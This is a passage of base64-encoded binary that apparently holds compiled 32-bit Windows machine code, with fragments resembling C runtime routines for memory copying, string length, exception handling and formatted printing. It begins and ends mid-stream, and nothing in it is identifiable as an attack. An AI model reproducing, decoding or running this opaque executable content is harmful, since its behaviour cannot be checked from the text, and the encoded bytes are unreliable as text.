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//+DYHD9g8j/6fUKAACLlfj7//+F0nTMD7cSM8mJjfT7//+LwYmF4Pv//4mNzPv//4mNrPv//4mV5Pv//2aF0g+EqgoAAMeFkPv//1gAAADHhYz7//9kAAAAx4WI+///aQAAAMeFmPv//28AAACDhfj7//8ChcAPiHMKAABqWI1C4F9mO8d3Dw+3wg++gIDEQgCD4A/rAjPAi73M+///D768x6DEQgCLx4m9zPv//4u98Pv//8H4BImFzPv//4P4Bw+HCwoAAP8khUiPQQAzwION6Pv///+L2ImFqPv//4mFwPv//4mF0Pv//4mF3Pv//4md7Pv//4mF1Pv//+nQCQAAD7fCaiBaK8J0RoPoA3Q5g+gIdC9ISHQdg+gDi4X4+///D4WvCQAAg8sIiZ3s+///6aEJAACDywSJnez7///pjQkAAIPLAevwgcuAAAAA6+iDywLr42oqWGY70HUviweDxwSJvfD7//+JhdD7//+FwA+JWgkAAIPLBPfYiZ3s+///iYXQ+///6UQJAABrjdD7//8KD7fCg8HQA8GJhdD7///pJAkAADPAiYXo+///6R0JAABqKlhmO9B1K4sHg8cEiYXo+///hcCLhfj7//+JvfD7//8PifwIAACDjej7////6fAIAABrjej7//8KD7fCg8HQA8GJhej7///pyggAAA+3woP4SXRXg/hodEhqbFo7wnQag/h3i4X4+///D4WzCAAAgcsACAAA6fz+//+Lhfj7//9mORB1FIPAAoHLABAAAImF+Pv//+nd/v//g8sQ6dX+//9qIFgL2OnZ/v//i4X4+///D7cAg/g2dSOLvfj7//9mg38CNHUWi8eDwASBywCAAACJhfj7///pmv7//4P4M3Uji734+///ZoN/AjJ1FovHg8AEgeP/f///iYX4+///6XL+//9mO4WM+///D4QLCAAAZjuFiPv//w+E/gcAAGY7hZj7//8PhPEHAACD+HUPhOgHAACD+HgPhN8HAABmO4WQ+///D4TSBwAAM8CJhcz7//+NheD7///HhdT7//8BAAAAUP+12Pv//1LoOwgAAIPEDOmfBwAAD7fCg/hkD48pAgAAD4SxAgAAg/hTD48lAQAAdH2D6EF0EEhIdFhISHQISEgPhZoFAABqIFgD0MeFqPv//wEAAACJleT7//+Lhej7//+Ntfz7//+Dy0C5AAIAAImd7Pv//4mN9Pv//4XAD4mOAgAAx4Xo+///BgAAAOnfAgAA98MwCAAAD4XYAAAAaiBYC9iJnez7///pyAAAAPfDMAgAAHULaiBYC9iJnez7//+Llej7//+/////f4P6/3QCi/qLtfD7//+DxgSJtfD7//+Ldvz2wyAPhL8EAACF9nUGizXIXEQAM8mLxomF5Pv//4mN9Pv//4X/D47QBAAAigCEwA+ExgQAAI2NsPv//w+2wFFQ6GLf//9ZhcCLheT7//9ZdAFAi430+///QEGJheT7//+JjfT7//87z3zB6YwEAACD6FgPhNwCAABISA+EiwAAAIPoBw+E7f7//0hID4VqBAAAD7cHg8cEx4XU+///AQAAAIm98Pv//4mFoPv///bDIHREiIXE+///M8CIhcX7//+NhbD7//9Qi4Ww+////3B0jYXE+///UI2F/Pv//1DotrIAAIPEEIXAeRPHhcD7//8BAAAA6wdmiYX8+///M8mNtfz7//9B6eoDAACLB4PHBIm98Pv//4XAdDaLcASF9nQv98MACAAAdBcPvwCZK8LHhdT7//8BAAAAi8jpswMAADPJiY3U+///D78I6aUDAACLNchcRABW6O7u//9Zi8jpkQMAAIP4cA+P6wEAAA+E1wEAAIP4ZQ+MfwMAAIP4Zw+O8f3//2ppWjvCdGaD+G50J2pvWjvCD4VfAwAAx4Xk+///CAAAAITbeVuBywACAACJnez7///rTYPHBIm98Pv//4t//Ohzu///hcAPhEUFAACLheD7///2wyB0BWaJB+sCiQfHhcD7//8BAAAA6cMEAACDy0CJnez7///HheT7//8KAAAA98MAgAAAdQz3wwAQAAAPhJcBAACLD4PHCIm98Pv//4t//OmwAQAAdRRqZ1hmO9B1VseF6Pv//wEAAADrSjvBfgiLwYmF6Pv//z2jAAAAfjeNuF0BAABX6JESAACLleT7//+Jhaz7//9ZhcB0Covwib30+///6wrHhej7//+jAAAAi73w+///iweDxwiJhXj7//+JvfD7//+LR/yJhXz7//+NhbD7//9Q/7Wo+///D77C/7Xo+///UP+19Pv//42FePv//1ZQ/zUcXkQA/xUMokIA/9CL+4PEHIHngAAAAHQhg73o+///AHUYjYWw+///UFb/NSheRAD/FQyiQgD/0FlZamdYZjmF5Pv//3Uchf91GI2FsPv//1BW/zUkXkQA/xUMokIA/9BZWYA+LQ+FHv7//4HLAAEAAEaJnez7///pDP7//8eF6Pv//wgAAABqB+scg+hzD4R7/P//SEgPhJL+//+D6AMPhYkBAABqJ8eF5Pv//xAAAABYiYWk+///hNsPiXj+//9qMFmDwFFmiY3I+///ZomFyvv//8eF3Pv//wIAAADpVf7//4PHBIm98Pv///bDIHQR9sNAdAYPv0f86w4Pt0f86wj2w0B0DItH/JmLyIv6M8DrB4tP/DPAi/j2w0B0HDv4fxh8BDvIcxL32RP499+BywABAACJnez7///3wwCQAAB1Aov4i5Xo+///hdJ5BTPSQusWg+P3iZ3s+///gfoAAgAAfgW6AAIAAIvBC8d1BomF3Pv//421+/3//4vCSomV6Pv//4XAfwaLwQvHdD2LheT7//+ZUlBXUeg+sAAAg8EwiZ2E+///iYX0+///i/qD+Tl+BgONpPv//4uV6Pv//4gOTouN9Pv//+uwi53s+///jY37/f//K85GiY30+///98MAAgAAdEWFyXQFgD4wdDxOQWowWIgG6y2F9nUGizXMXEQAx4XU+///AQAAAIvOhf90DzPAT2Y5AXQHg8EChf918yvO0fmJjfT7//+DvcD7//8AD4WtAQAA9sNAdCD3wwABAAAPhB0BAABqLVhmiYXI+///x4Xc+///AQAAAGogWou90Pv//4uF3Pv//yv5K/j2wwx1HY2F4Pv//1D/tdj7//9XUug/AgAAi4Xc+///g8QQ/7Wc+///jY3g+///Uf+12Pv//1CNhcj7//9Q6EICAACDxBT2wwh0H/bDBHUajYXg+///UP+12Pv//1dqMFhQ6PIBAACDxBCDvdT7//8Ai4X0+///D4WzAAAAhcAPjqsAAACLzom15Pv//0iJhYT7//+NhbD7//9Qi4Ww+////3B0jYWg+///UVDoqa0AAIPEEImFlPv//4XAfmeNheD7//9Q/7XY+////7Wg+///6E0BAACLjeT7//+DxAwDjZT7//+LhYT7//+JjeT7//+FwH+Y61b2wwF0B2or6dn+///2wwIPhOL+//9qIFpmiZXI+///x4Xc+///AQAAAOnM/v//g8j/iYXg+///6yP/tZz7//+NjeD7//9R/7XY+///UFboOwEAAIPEFIuF4Pv//4XAeB/2wwR0Go2F4Pv//1D/tdj7//9XaiBYUOjmAAAAg8QQi4Ws+///hcB0D1DoKbT//zPAWYmFrPv//4uN9Pv//4uF+Pv//w+3EIuF4Pv//4mV5Pv//2aF0g+FfvX//4C9vPv//wB0CouNuPv//4NhcP2LTfxfXjPNW+i1pv//i+Vdw+h33v//xwAWAAAA6K7y//+Avbz7//8AD4TV9P//i424+///g2Fw/enG9P//EIdBANaEQQAKhUEAX4VBALCFQQC9hUEACoZBADWHQQBVi+yLRQz2QAxAdAaDeAgAdB1Q/3UI6JaqAABZWbn//wAAZjvBdQiLRRCDCP9dw4tFEP8AXcNVi+xWi3UMhfZ+HleLfRRX/3UQTv91COiu////g8QMgz//dASF9n/nX15dw1WL7FaLdRhXi30QiwaJRRj2RwxAdBCDfwgAdQqLTRSLRQwBAetPgyYAU4tdDIXbfkGLRRRQi0UIS1cPtwBQ6Fv///+LRRSDxAyDRQgCgzj/dRSDPip1E1BXaj/oPv///4tFFIPEDIXbf8qDPgB1BYtFGIkGW19eXcNVi+yB7IgEAAChCFREADPFiUX8i0UIjY20+///U1aJhdj7//+LRQxX/3UQi30UiYX4+///M8CL2Im98Pv//4mFrPv//4vwiZ3s+///iYXQ+///iYXo+///iYXc+///iYWo+///iYWw+///iYXU+///6Eaw///o29z//4mFoPv//zmd2Pv//3Uq6Mjc///HABYAAADo//D//zidwPv//3QKi4W8+///g2Bw/YPI/+kQCwAAi5X4+///hdJ0zA+3EjPJiY30+///i8GJheD7//+Jjcz7//+JjaT7//+JleT7//9mhdIPhMUKAADHhZD7//9YAAAAx4WM+///ZAAAAMeFiPv//2kAAADHhZj7//9vAAAAg4X4+///AoXAD4h/CgAAaliNQuBfZjvHdw8Pt8IPtoCwyEIAg+AP6wIzwIu9zPv//2vACQ+2vDjQyEIAi8eJvcz7//+LvfD7///B6ASJhcz7//+D+AgPhJEKAACD+AcPhwsKAAD/JIVfnEEAM8CDjej7////i9iJhaj7//+JhbD7//+JhdD7//+Jhdz7//+Jnez7//+JhdT7///p0AkAAA+3wmogWivCdEaD6AN0OYPoCHQvSEh0HYPoA4uF+Pv//w+FrwkAAIPLCImd7Pv//+mhCQAAg8sEiZ3s+///6Y0JAACDywHr8IHLgAAAAOvog8sC6+NqKlhmO9B1L4sHg8cEib3w+///iYXQ+///hcAPiVoJAACDywT32Imd7Pv//4mF0Pv//+lECQAAa43Q+///Cg+3woPB0APBiYXQ+///6SQJAAAzwImF6Pv//+kdCQAAaipYZjvQdSuLB4PHBImF6Pv//4XAi4X4+///ib3w+///D4n8CAAAg43o+////+nwCAAAa43o+///Cg+3woPB0APBiYXo+///6coIAAAPt8KD+El0V4P4aHRIamxaO8J0GoP4d4uF+Pv//w+FswgAAIHLAAgAAOn8/v//i4X4+///ZjkQdRSDwAKBywAQAACJhfj7///p3f7//4PLEOnV/v//aiBYC9jp2f7//4uF+Pv//w+3AIP4NnUji734+///ZoN/AjR1FovHg8AEgcsAgAAAiYX4+///6Zr+//+D+DN1I4u9+Pv//2aDfwIydRaLx4PABIHj/3///4mF+Pv//+ly/v//ZjuFjPv//w+ECwgAAGY7hYj7//8PhP4HAABmO4WY+///D4TxBwAAg/h1D4ToBwAAg/h4D4TfBwAAZjuFkPv//w+E0gcAADPAiYXM+///jYXg+///x4XU+///AQAAAFD/tdj7//9S6FD7//+DxAzpnwcAAA+3woP4ZA+PKQIAAA+EsQIAAIP4Uw+PJQEAAHR9g+hBdBBISHRYSEh0CEhID4WaBQAAaiBYA9DHhaj7//8BAAAAiZXk+///i4Xo+///jbX8+///g8tAuQACAACJnez7//+JjfT7//+FwA+JjgIAAMeF6Pv//wYAAADp3wIAAPfDMAgAAA+F2AAAAGogWAvYiZ3s+///6cgAAAD3wzAIAAB1C2ogWAvYiZ3s+///i5Xo+///v////3+D+v90Aov6i7Xw+///g8YEibXw+///i3b89sMgD4S/BAAAhfZ1Bos1yFxEADPJi8aJheT7//+JjfT7//+F/w+O0AQAAIoAhMAPhMYEAACNjbT7//8PtsBRUOh30v//WYXAi4Xk+///WXQBQIuN9Pv//0BBiYXk+///iY30+///O898wemMBAAAg+hYD4TcAgAASEgPhIsAAACD6AcPhO3+//9ISA+FagQAAA+3B4PHBMeF1Pv//wEAAACJvfD7//+JhZz7///2wyB0RIiFxPv//zPAiIXF+///jYW0+///UIuFtPv///9wdI2FxPv//1CNhfz7//9Q6MulAACDxBCFwHkTx4Ww+///AQAAAOsHZomF/Pv//zPJjbX8+///QenqAwAAiweDxwSJvfD7//+FwHQ2i3AEhfZ0L/fDAAgAAHQXD78AmSvCx4XU+///AQAAAIvI6bMDAAAzyYmN1Pv//w+/COmlAwAAizXIXEQAVugD4v//WYvI6ZEDAACD+HAPj+sBAAAPhNcBAACD+GUPjH8DAACD+GcPjvH9//9qaVo7wnRmg/hudCdqb1o7wg+FXwMAAMeF5Pv//wgAAACE23lbgcsAAgAAiZ3s+///602DxwSJvfD7//+Lf/zoiK7//4XAD4RUBQAAi4Xg+///9sMgdAVmiQfrAokHx4Ww+///AQAAAOnDBAAAg8tAiZ3s+///x4Xk+///CgAAAPfDAIAAAHUM98MAEAAAD4SXAQAAiw+DxwiJvfD7//+Lf/zpsAEAAHUUamdYZjvQdVbHhej7//8BAAAA60o7wX4Ii8GJhej7//89owAAAH43jbhdAQAAV+imBQAAi5Xk+///iYWk+///WYXAdAqL8Im99Pv//+sKx4Xo+///owAAAIu98Pv//4sHg8cIiY